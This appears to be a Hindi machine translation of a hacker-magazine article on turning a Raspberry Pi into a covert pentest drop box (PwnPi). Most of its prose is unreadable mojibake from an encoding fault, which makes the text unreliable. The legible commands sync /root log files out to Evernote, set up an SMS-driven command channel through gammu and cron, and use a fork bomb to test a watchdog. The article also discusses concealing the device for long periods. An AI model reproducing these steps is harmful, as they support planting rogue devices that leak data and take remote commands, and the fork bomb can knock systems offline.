Google рдореЗрд▓ рд╕реЗ рдПрд╡рд░рдиреЛрдЯ рддрдХ, рдкрд╛рд░рдВрдкрд░рд┐рдХ рдореЗрд▓ рд╕реЗ рд▓реЗрдХрд░ рд▓реЛрдХрдкреНрд░рд┐рдп рдХреНрд▓рд╛рдЙрдб рд╕реЗрд╡рд╛рдУрдВ рддрдХ, рдбреЗрдЯрд╛ рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╣рд╕реНрддрд╛рдВрддрд░рдг рдФрд░ рднрдВрдбрд╛рд░рдг рдХреЗ рд▓рд┐рдП рдХрдИ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВред рдЖрдк Geeknote рдЙрдкрдпреЛрдЧрд┐рддрд╛ (www.geeknote.me) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрд╡рд░рдиреЛрдЯ рдХреЛ рдбреЗрдЯрд╛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ:

 # wget http://www.geeknote.me/dist/geeknote_latest.deb # sudo dpkg -i geeknote_latest.deb # geeknote login 

рдПрд╡рд░рдиреЛрдЯ рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ рд▓реЙрдЧрд┐рди рд╡рд┐рд╡рд░рдг рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ (рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдПрдХ рдмрд╛рд░ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╣реАрдВ рдмрджрд▓рддрд╛ рд╣реИ)ред рдПрдХ рдирдИ рдиреЛрдЯрдмреБрдХ рдмрдирд╛рдПрдВ рдФрд░ рдПрдХ рдкрд░реАрдХреНрд╖рдг рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдЬреЛрдбрд╝реЗрдВ:

 # geeknote notebook-create --title "PwnPi data" # geeknote create --notebook "PwnPi" --title "Test" --content "Test note" 

Geeknote рдкреИрдХреЗрдЬ рдореЗрдВ рд╢рд╛рдорд┐рд▓ gnsync рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдкрд╛рда рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕рд┐рдВрдХреНрд░рдирд╛рдЗрдЬрд╝реЗрд╢рди рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдЗрд╕реЗ рд╕рд┐рдВрдХреНрд░рдирд╛рдЗрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЗрд╕реЗ рдирд┐рдореНрди рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛ (рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕рд┐рдВрдХреНрд░рдирд╛рдЗрдЬрд╝ рдХреА рдЧрдИ рд╣реИ
/ рдЬрдбрд╝):

 # gnsync --path /root --mask *.log --notebook "PwnPi" 


рдПрд╕рдПрдордПрд╕ рдкреНрд░рдмрдВрдзрди


рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, 3 рдЬреА рдХрд╛ рдХрд╛рдо рд╕реНрдерд┐рд░ рдирд╣реАрдВ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдЖрдк рдЧрдореВ рдкреИрдХреЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрджреЗрд╢реЛрдВ рдХреЗ рд╣рд╕реНрддрд╛рдВрддрд░рдг (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд░рд┐рдмреВрдЯ) рдФрд░ рдПрд╕рдПрдордПрд╕ рд╕реВрдЪрдирд╛рдУрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

 # apt-get install gammu # gammu-config 

рдкреЛрд░реНрдЯ / dev / ttyUSB1 рдХреЛ рдореЗрдиреВ рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВ (/ 3G рдХреЗ рд▓рд┐рдП / dev / ttyUSB0 рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛)ред рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╡рд┐рд╡рд░рдг рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ:

 # gammu --identify  : /dev/ttyUSB1 Manufacturer : Huawei  : E1550 (E1550) Firmware : 11.608.12.10.209 IMEI : 351911043904005  SIM (IMSI) : 250026700613366 

рдЖрдк рдирд┐рдЧрд░рд╛рдиреА рдореЛрдб рдХреЛ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкрд░реАрдХреНрд╖рдг рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

 # gammu --monitor # echo "test from PwnPi" | gammu sendsms TEXT +7< > 

рд░реВрд╕реА рднрд╛рд╖рд╛ рдХреЗ рд▓рд┐рдП (PwnPi рдореЗрдВ рдпреВрдирд┐рдХреЛрдб рд╕реНрдерд╛рди рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕реЗрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рдХреЗ рд▓рд┐рдП, рдЖрдк рдпреВрдирд┐рдХреЛрдб рд╕реНрд╡рд┐рдЪ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред


рдЧрдореНрдореВ рд╡рд┐рдХрд▓реНрдк

рдПрд╕рдПрдордПрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ


рдПрд╕рдПрдордПрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛

 # apt-get install gammu-smsd 

рдФрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ 3G рдореЙрдбреЗрдо рдХреЗ рд╕рдорд╛рди рдкреЛрд░реНрдЯ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ:

 # nano /etc/gammu-smsdrc [gammu] port=/dev/ttyUSB1 

рд╕реЗрд╡рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдПрдВ рдФрд░ рд▓реЙрдЧ рджреЗрдЦреЗрдВ:

 # gammu-smsd --daemon # tail -f /var/log/syslog 

рдЖрдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ:

 # cd /var/spool/gammu/inbox && ls IN20130402_193338_00_+7< >_00.txt 

рдЕрдВрджрд░ рдкреНрд░рд╛рдкреНрдд рдПрд╕рдПрдордПрд╕ рдкрд╛рда рд╢рд╛рдорд┐рд▓ рд╣реИред рдПрд╕рдПрдордПрд╕ рд╕реЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдирд╛рдПрдВред рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдкрд╛рда 'рдЕрдкрдЯрд╛рдЗрдо' рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╕рдордп, рдкреНрд░реЗрд╖рдХ рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдВрджреЗрд╢ рдкреНрд░реЗрд╖рдХ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ:

 $ nano smscheck #!/bin/bash for file in `ls /var/spool/gammu/inbox` do cmd=`cat /var/spool/gammu/inbox/$file` case "$cmd" in "uptime") echo `uptime` > /var/spool/gammu/outbox/OUT+7< >.txt ;; esac rm -f /var/spool/gammu/inbox/$file done # chmod +x smscheck 

рдЪреВрдВрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд░реАрдХреНрд╖рдг рд╕рдВрджреЗрд╢ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА / var / spool / gammu / inbox рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдП, рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЪрд▓рд╛рдПрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдпрд╣ рд╕рд╣реА рд╕рдВрджреЗрд╢ рднреЗрдЬрддрд╛ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдорд┐рдирдЯ рдХреА рдЖрд╡реГрддреНрддрд┐ рдХреЗ рд╕рд╛рде рдЗрд╕реЗ рдХреЛрдВрдЯреНрд░рд╛рдм рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ:

 # crontab -e */1 * * * * /home/pi/smscheck 

рд╣рдо рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд░рд┐рдмреВрдЯ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рд╣рдорд╛рд░реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рд╕рдВрдЪрд╛рд▓рди рдХреНрд╖рдорддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╣реИрдВред

рдЕрдиреБрдпрд╛рдпреА рдХреМрди рд╣реИ


рдЖрдзреБрдирд┐рдХ рдорд╛рдЗрдХреНрд░реЛрдХрдВрдЯреНрд░реЛрд▓рд░ рдореЗрдВ, рд░рдЦрд░рдЦрд╛рд╡ рдореБрдХреНрдд рдореЛрдб рдореЗрдВ рдПрдореНрдмреЗрдбреЗрдб рдЙрдкрдХрд░рдгреЛрдВ рдХреА рд╡рд┐рд╢реНрд╡рд╕рдиреАрдпрддрд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рддрдВрддреНрд░реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рд╡реЙрдЪрдбреЙрдЧ рдЯрд╛рдЗрдорд░ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рд░рд┐рдмреВрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдпрджрд┐ рдпрд╣ рдЬрдорд╛ рджреЗрддрд╛ рд╣реИред рдПрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдЬрд┐рд╕рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП рдЙрд╕реЗ рд╕рдордп-рд╕рдордп рдкрд░ рдЗрд╕ рдЯрд╛рдЗрдорд░ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдпрджрд┐ рд╡рд╣ рдРрд╕рд╛ рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗрддреА рд╣реИ, рддреЛ рдЯрд╛рдЗрдорд░ рд╕реАрдорд╛ рд╕реЗ рдЕрдзрд┐рдХ рд╣реЛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЛ рдПрдХ рд░реАрд╕реЗрдЯ рд╕рд┐рдЧреНрдирд▓ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ред рд▓рд┐рдирдХреНрд╕ рдкрд░, рд╡реЙрдЪрдбреЙрдЧ рд╕рдкреЛрд░реНрдЯ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдореЗрдВ рджреЛ рднрд╛рдЧ рд╣реЛрддреЗ рд╣реИрдВ: рдПрдХ рд╡реЙрдЪрдбреЙрдЧ рдЯрд╛рдЗрдорд░ рдбреНрд░рд╛рдЗрд╡рд░ рдФрд░ рд╡реЙрдЪрдбреЙрдЧ рдбреЗрдореЙрди рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕реНрд╡рд╛рд╕реНрдереНрдп рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рддреЗ рд╣реИрдВред

рдкреНрд░рд╣рд░реА рдЪрд╛рд▓рдХ


рдбреНрд░рд╛рдЗрд╡рд░ рдореЙрдбреНрдпреВрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛:

 # sudo modprobe bcm2708_wdog 

рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдореЙрдбреНрдпреВрд▓ рдХреА рд╕реВрдЪреА рдореЗрдВ рдЬреЛрдбрд╝рдирд╛:

 # echo "bcm2708_wdog" | sudo tee -a /etc/modules 

рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдЦреЛрд▓рдиреЗ рдкрд░ рд╡реЙрдЪрдбреЙрдЧ рдЯрд╛рдЗрдорд░ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдХрд┐рд╕реА рднреА рд╡рд░реНрдг рдХреЛ рднреЗрдЬрдХрд░ рд░реАрд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред V рдкреНрд░рддреАрдХ рдЯрд╛рдЗрдорд░ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рддрд╛ рд╣реИред рдЖрдк рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдкреНрд░рджрд░реНрд╢рди рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

 # cat > /dev/watchdog 

рдЕрдм, рдХреЗрд╡рд▓ рдХреАрдмреЛрд░реНрдб рд╕реЗ рд▓рд╛рдЗрдиреЛрдВ рдХреЗ рдЗрдирдкреБрдЯ рдХреЛ рд░рд┐рдмреВрдЯ рд╕реЗ рдЕрд▓рдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдмрд┐рд▓реНрд▓реА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рджреНрд╡рд╛рд░рд╛ рдЯрд╛рдЗрдк рдХреА рдЧрдИ рдЯреЗрдХреНрд╕реНрдЯ рд▓рд╛рдЗрди рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ)ред рд╡рд░реНрдг V рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рдирд╛ рдФрд░ рдлрд┐рд░ рдЙрд▓рдЯреА рдЧрд┐рдирддреА рдХреЛ рд░реЛрдХрдирд╛ред

рдкрд╣рд░реЗрджрд╛рд░ рдбреЗрдореЙрди


рд╡реЙрдЪрдбреЙрдЧ рдкреИрдХреЗрдЬ рдореЗрдВ рджреЛ рдбреЗрдореЙрди рд╣реЛрддреЗ рд╣реИрдВ: рдПрдХ рд╕рд░рд▓реАрдХреГрдд рдПрдХ, wd_keepalive, рдФрд░ рдПрдХ рдореБрдЦреНрдп рд╡реЙрдЪрдбреЙрдЧ, рдЬреЛ рдЕрдзрд┐рдХ рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЖрдк рди рдХреЗрд╡рд▓ рд╕рд┐рд╕реНрдЯрдо рд▓реЛрдб рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдмрд▓реНрдХрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рдкреИрд░рд╛рдореАрдЯрд░ рднреА рдЙрдкрд▓рдмреНрдз рдореЗрдореЛрд░реА рдХреА рдорд╛рддреНрд░рд╛, рд╡реНрдпрдХреНрддрд┐рдЧрдд рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдВрдЪ, рдкрд┐рдВрдЧ рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдиреЛрдбреНрд╕ рдХреА рдЙрдкрд▓рдмреНрдзрддрд╛ рдФрд░ рдХрдИ рдЕрдиреНрдп рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

 # apt-get install watchdog #  # update-rc.d watchdog defaults #    

/Etc/watchdog.conf рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдХрдИ рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рдЕрдирдХрдВрдлрд░реНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:

 # nano /etc/watchdog.conf watchdog-device = /dev/watchdog max-load-1 = 24 

рдореИрдиреБрдЕрд▓ рд╢реБрд░реБрдЖрдд

 # /etc/init.d/watchdog start 


рдирд┐рд░реАрдХреНрд╖рдг


рд╡реЙрдЪрдбреЙрдЧ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдкрд░ рддрдерд╛рдХрдерд┐рдд рдлреЛрд░реНрдХ рдмрдо рджрд░реНрдЬ рдХрд░рдирд╛ рд╣реИ:

 : (){ :|:& };: 

рд╕рд┐рд╕реНрдЯрдо рдЬрд▓реНрджреА рд╕реЗ рдЬрд╡рд╛рдм рджреЗрдирд╛ рдмрдВрдж рдХрд░ рджреЗрдЧрд╛ рдФрд░, рдЕрдЧрд░ рд╕рдм рдХреБрдЫ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХреБрдЫ рд╕реЗрдХрдВрдб рдХреЗ рдмрд╛рдж рд░рд┐рдмреВрдЯ рдореЗрдВ рдЬрд╛рдПрдЧрд╛ред

рд╕реНрд╡рд╛рдпрддреНрдд рднреЛрдЬрди


рдХрдиреЗрдХреНрдЯреЗрдб рдФрд░ рд╕рдХреНрд░рд┐рдп рд╡рд╛рдИ-рдлрд╛рдИ (рдбреА-рд▓рд┐рдВрдХ рдбреАрдбрдмреНрд▓реНрдпреВрдП-140 рдмреА 2) рдФрд░ 3 рдЬреА (рд╣реБрдЖрд╡реЗрдИ рдИ 1550) рдПрдбреЗрдкреНрдЯрд░ рдХреЗ рд╕рд╛рде рд░рд╛рд╕реНрдкрдмреЗрд░реА рдкрд╛рдИ рд▓рдЧрднрдЧ 700-800 рдПрдордПрдПрдЪ рдХреА рдЦрдкрдд рдХрд░рддреА рд╣реИред рдЖрдЬ рдЙрдкрд▓рдмреНрдз рдкрд░реНрдпрд╛рдкреНрдд рдХреЙрдореНрдкреИрдХреНрдЯ рдмрд╛рд╣рд░реА рд▓рд┐рдерд┐рдпрдо рдмреИрдЯрд░реА рдХреА рдХреНрд╖рдорддрд╛ 20 рдПрдореНрдкреАрдпрд░-рдШрдВрдЯреЗ рддрдХ рд╣реИ, рдЬреЛ 24 рдШрдВрдЯреЗ рддрдХ рдмреИрдЯрд░реА рдЬреАрд╡рди рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреА рд╣реИред рдЕрдЧрд░ рд╣рдо рдЖрд░рдкреАрдЖрдИ рдХреЛ рдХреЗрд╡рд▓ рдПрдХ рдмрд╣реБрдХреНрд░рд┐рдпрд╛рд╢реАрд▓ рдЙрдкрдХрд░рдг рдорд╛рдирддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рд╣реИ; рд╣рд╛рд▓рд╛рдБрдХрд┐, рд▓рдВрдмреЗ рд╕рдордп рддрдХ рдЗрд╕рдХреА рдЫрд┐рдкреА рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рд▓рд┐рдП рдмрд╛рд╣рд░реА рдмрд┐рдЬрд▓реА рдХреА рдЖрдкреВрд░реНрддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдЬреЛ рдХрд┐ рдПрдХ рдпреВрдПрд╕рдмреА рдкреЛрд░реНрдЯ рдпрд╛ рдЗрд▓реЗрдХреНрдЯреНрд░рд┐рдХрд▓ рдЖрдЙрдЯрд▓реЗрдЯ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдкрд░рд┐рдгрд╛рдо


рдЕрдкрдиреА рддреБрдЪреНрдЫрддрд╛ рдХреЗ рд╕рд╛рде, рд░рд╛рд╕реНрдкрдмреЗрд░реА рдкрд╛рдИ рдПрдХ рдЦрддрд░рдирд╛рдХ рдЙрдкрдХрд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЙрдЪреНрдЪ рдмрд┐рдЬрд▓реА рдХреА рдЦрдкрдд рдСрдлрд╝рд▓рд╛рдЗрди рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рддреА рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдПрдирд╛рд▓реЙрдЧреНрд╕ рдореЗрдВ рдирд┐рдХрдЯрддрдо, PWNIE рдПрдХреНрд╕рдкреНрд░реЗрд╕ рдХреЗ рд╡рд╛рдгрд┐рдЬреНрдпрд┐рдХ рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рдЙрдкрдХрд░рдг, рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрд▓рдЧ рдореВрд▓реНрдп рд╢реНрд░реЗрдгреА рдореЗрдВ рд╣реИрдВред


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рд╣реИрдХрд░ рдкрддреНрд░рд┐рдХрд╛ рдореЗрдВ рджрд┐рдирд╛рдВрдХ режрел/режрей рдкреНрд░рдХрд╛рд╢рд┐рдд рд╣реБрдЖред
рд▓реЗрдЦрдХ: рдЕрд▓реЗрдХреНрдЬреЗрдВрдбрд░ рд▓рд╛рдЗрдХреЛрд╢рд┐рди, alykoshin@gmail.com , ligne.ru

ISSUU.com рдкрд░ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░реЗрдВ

рд╣реИрдХрд░ рдХреА рд╕рджрд╕реНрдпрддрд╛ рд▓реЗрдВ




Source: https://habr.com/ru/post/In183760/


All Articles